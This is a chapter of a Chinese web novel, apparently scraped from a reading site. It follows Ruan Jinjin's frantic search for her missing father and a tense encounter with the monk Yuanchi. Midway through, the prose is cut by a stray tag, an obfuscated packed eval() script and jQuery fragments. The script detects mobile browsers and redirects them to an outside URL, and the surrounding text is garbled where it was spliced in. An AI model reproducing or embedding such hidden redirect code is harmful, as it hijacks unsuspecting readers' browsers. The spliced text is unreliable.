6. 第 6 章

作品:《渡念归尘

    阮衿衿这会儿心里像是被烈火烧过一遍,是又燥又急。


    一会儿担心父亲的下落,一会儿焦躁钱姨娘和姨母的合作。


    走向主院的脚步便更快了。


    没想到就连爹爹身边最得力的小厮朱星都没带上,连知会一声也不曾。


    阮衿衿是彻底没了主意。


    爹爹这明显是故意自己离开的,不告诉任何人就是不想被人寻见。


    “坏了!爹爹不会是要做什么傻事儿吧!”


    想到这个可能,阮衿衿的心几乎凉了半截,她感觉自己浑身的气力像被瞬间抽走了一般,让她几乎站不稳,差点摔在地上。


    “小姐小心!”


    好在安宁眼疾手快,将人稳稳扶好,只是她现在几乎是整个人靠在了安宁身上。


    “那爹爹出府真就一点信儿都没留下?”


    阮衿衿缓了一会儿,暗自镇定下来,推开了安宁的手,自己重新站起,看向朱星问着。


    朱星也是一脸的懊恼。


    老爷一早出府就连他也不带,本只是有些奇怪的。可一日过去,左等右等也不见老爷回来,他也是有些慌神了的。


    没想到大小姐也发现径直找了过来,他便更加心慌了。


    老爷多疼爱夫人全府上下,那都是有目共睹的。


    他就怕……就怕老爷是悲伤过度,想跟着夫人一起去了。


    “大小姐,这……这可如何是好啊!”


    朱星哭丧着一张脸,两只手无意识地紧紧攥在一起。


    “如何是好?找人去啊!”


    阮衿衿这会儿真是又急又气,若她不来寻人,他们难不成还想就这样一直在府里等着吗?


    但现在寻人要紧,也顾不上罚,只能按下想着等找到爹爹之后再惩治了他们。


    听了阮衿衿的吩咐,朱星几乎是撒腿就要往外跑去。


    “等等!”


    被阮衿衿叫住的朱星忙停下,一脸茫然地看向她。


    “就你一个人出去吗?去哪儿找?”


    “奴……”


    朱星这才垂下头,有些不知所措。


    安宁看他这副模样轻摇了摇头。


    其实老爷身边的这位朱星平日里很是得力的,今日或许是太过慌张,这才自乱阵脚,就连这样的小事儿都想不到了。


    “去把府中的青壮家丁全都叫上,分两路,去爹爹常去的地方找。”


    安宁听小姐说完朱星都还在原地愣着,忙催促了一声。


    “还不快去!”


    “哎!是!”


    朱星立刻回神,拔腿便跑。


    还好有大小姐在。


    朱星召集人的动静很快就把全府都给惊动了,就连钱姨娘和白若瑾都来了正院。


    “衿衿,这是怎么了?我怎么听说是你爹爹不见了?”


    白若瑾端了一张忧心的脸,快步走来便牵起阮衿衿的手,钱姨娘见自己落了后,也只能乖乖在一旁站着听。


    “老爷今日一早便没带人出府,这会儿了都还没归家,我们小姐实在着急,这才派人出去寻。”


    安宁略有些不耐烦这两人,却也只能开口解释着阮衿衿的手语。


    “什么?老爷竟一日未归?!”


    白若瑾还没说些什么,钱姨娘便在一旁惊呼了一声,顿时吸引了所有人的注意。


    她这才觉得自己似乎有些失礼,忙用手帕捂住了自己的嘴,只是眼中的讶异和担心不似作假。


    “老爷昨日给我安排好管家之事后,便没再见过他,难不成……”


    钱姨娘回忆着昨日阮青城的状态和语气,越想就越是心惊,难不成真是想不开,在提前安排什么?!


    阮衿衿和白若瑾也因她的话自然地往那个方向设想着。


    “别瞎说,姐夫这个人向来关心家里,怎么会撒手不管?”


    白若瑾冷着脸呵了一声,又转头看向一旁跑动着的家丁们,扯着嗓子喊了一句。


    “还不跑快些!若是找不回老爷,你们也不必回来了!”


    阮衿衿看着姨母,一时有些分不清到底自己是这阮家的主子,还是姨母?


    她的眼神又在姨母和钱姨娘身上打了个转,决心暂不搭理,抬脚便也要跟着那群小厮出府寻人。


    钱姨娘见状,忙拦下她。


    “衿衿,天色已晚,你一个未出阁的姑娘怎能这样出去,若是再遇上什么事儿,等你爹爹回来,姨娘该如何交代啊?”


    阮衿衿心里急得不行,忙打着手语说自己不会出事儿,可这回就连安宁也没站在她这边。


    “不行的小姐,你不能出去。咱们就在府中等老爷回来好不好?”


    安宁也急得直跺脚,都来不及解释阮衿衿手语的意思。


    她和钱姨娘一人一边,将阮衿衿牵制得牢牢的。


    半晌,阮衿衿终于卸了劲儿,安宁和钱姨娘见状这才舒了口气,各自松开了手。


    “衿衿,夜里风大,你还是先回院儿里等,若是有了消息,姨娘定然第一个叫人通知你。”


    阮衿衿抬眸看了她一眼,看得钱姨娘还以为她不会同意,她这才点了点头,任由安宁扶着回了清风苑。


    正院儿只余白若瑾和钱姨娘,两人对视一眼,脸上的表情都不太好。


    “你最好期待姐夫能回来。”


    白若瑾笑起来,可是仰着的下巴很有威胁的意味,钱姨娘藏在袖中的手渐渐攥紧,那张手帕几乎被她捏得变了形。


    ***


    从正院儿回清风苑,正好需要路过小佛堂。


    阮衿衿路过时,见小佛堂还亮着灯,全府上下今晚都闹哄哄一片,唯有这里还安静着。


    她鬼使神差地便拐了方向,往小佛堂走去。


    安宁虽好奇小姐为何突然又要去小佛堂,可看到小姐脸上沉闷的表情,便不好再开口问,只能紧紧跟上。


    阮衿衿先是敲了敲小佛堂的门,听到里头说了句“请进”,她这才推开了大门。


    “小施主。”


    转过头来的圆迟,第一眼便看到了有些失魂落魄的阮衿衿,他放下手中的佛经,起了身。


    “圆迟大师。”


    阮衿衿就站在门口见了礼,没再往里进。


    见她一反常态,圆迟心里反倒添了好奇。


    “施主这么晚过来,可是来检查贫僧是否用功?”


    他背对着那片烛火,闪动的火光也只能在他的侧脸打上些许光影,倒是身子像是被打上了一整圈佛光,显得整个人都祥和圣洁了不少。


    这会儿也没了之前那种嘲弄讽刺的气氛,阮衿衿只觉得眼前像是展开了一副美人画卷。


    “真好看。”


    她完全没意识到自己的心里话就这样喃喃出了口。


    “什么?”


    还是圆迟开口问了一句,她这才惊觉不妥,面露尴尬只能转移话题。


    “这么晚了大师还在为我母亲祈福,实在辛苦了。”


    “都是贫僧应做的。”


    实在没有什么意义的对话。


    圆迟见她站得这样远,心里莫名有些不快。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138626|180372||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    避嫌吗?之前怎的不见她这般?半大的姑娘和一个和尚,有什么可避嫌的?


    “贫僧方才听倒外头闹哄哄的,可是出了什么事儿?”


    阮衿衿本还在苦恼自己怎么走到这里来了,又该如何借口离开。一听圆迟问外头的事儿,立刻回过神来。


    “只是要找人。”她不愿再多说,本也没有必要同一个外人说自家的事儿,“大师不必忧心,安心待在这里就好,我会让他们别惊扰到你。”


    说完行了一礼便要走,可圆迟的话又绊住了她的脚步。


    “施主看起来愁容满面,若是寻人,贫僧或可帮上忙。”


    “不必了,不过是我们阮家的家事,就不劳烦圆迟大师了。”


    阮衿衿忙推拒。


    她实在不明白这和尚为什么突然善心大发,竟还要帮他寻起人来,和前几日的那个圆迟简直不像同一个人。


    若非这张脸全天下也找不出第二张,她真要怀疑这人是不是换了个芯子。


    趁着圆迟没再说话,阮衿衿几乎是拔腿就跑,看得后头的圆迟眉头紧锁,分明生出许多不快来。


    这小东西,还嫌弃上了?


    不帮便不帮,跑什么。他方才刚说出口要帮忙心里就隐隐有些后悔了。她真不需要,倒是正好,以免徒生是非。


    坐回佛像前拿回自己的佛经,可上头的经文却怎么也看不进去了。


    真是遇了鬼了!


    圆迟暗啐一声,将那佛经随手扔到一边,端坐的姿势也变得随意起来,看起来确实不像个敬崇佛祖的和尚。


    快步离开的阮衿衿很快就回到了清风苑。


    “啪!”


    猛地将门一关,把安宁都给吓到了。


    “小姐怎么了?刚才那圆迟大师可是说了什么?”


    从方才出来,她便觉得小姐脸色似乎不太好,可是在外头她也不好问,生生憋到了回了自己院儿,见小姐气成这样,她就再忍不住了。


    阮衿衿其实也不太明白自己这是怎么了,她不是在生气,只是太紧张。


    从看到转过身被珠光点亮的圆迟开始……


    还是怪他人长得太好看了。


    “没什么,就是忧心爹爹到底跑到哪儿去了。”


    阮衿衿难得的向安宁撒了个小谎,不过她自己都说不清的事情,就别说给安宁笑话了。


    安宁俩人地点了点头。


    “小姐放心,老爷定然不会有事儿的,那么多家丁都出去寻了,应当很快便能找到老爷了。”


    话虽如此,可主仆两人还是在屋里坐立不安,一直到了辰时,钱姨娘才派了人来传话。


    “什么!没找到?”


    安宁听得替小姐问出了她想说的话,阮衿衿也从椅子上猛地起身,把椅子都推得“嘎吱”响了一声。


    那来传话的下人正是钱姨娘身边的如春,被这两声动静给生生吓了一跳,忙把头给埋了下去。


    “小姐让你先回去,若再有消息烦请姐姐再通传一声。”


    安宁看着小姐的手势反应过来,收了方才不镇定的样儿,好生将如春给送出了院子。


    本有些昏昏欲睡的阮衿衿,这下是彻底醒了神,等安宁送了人回来,她便要换衣裳出门。


    “不可啊小姐!这大半夜的奴婢不能让您出去!”


    见光用说的劝不动,安宁只能上手拖住了欲要往外走的阮衿衿。


    “安宁,你快放手!”可不管阮衿衿如何使劲,都挣不开安宁的手。“安宁!我不能在没了娘亲后再没了爹爹!”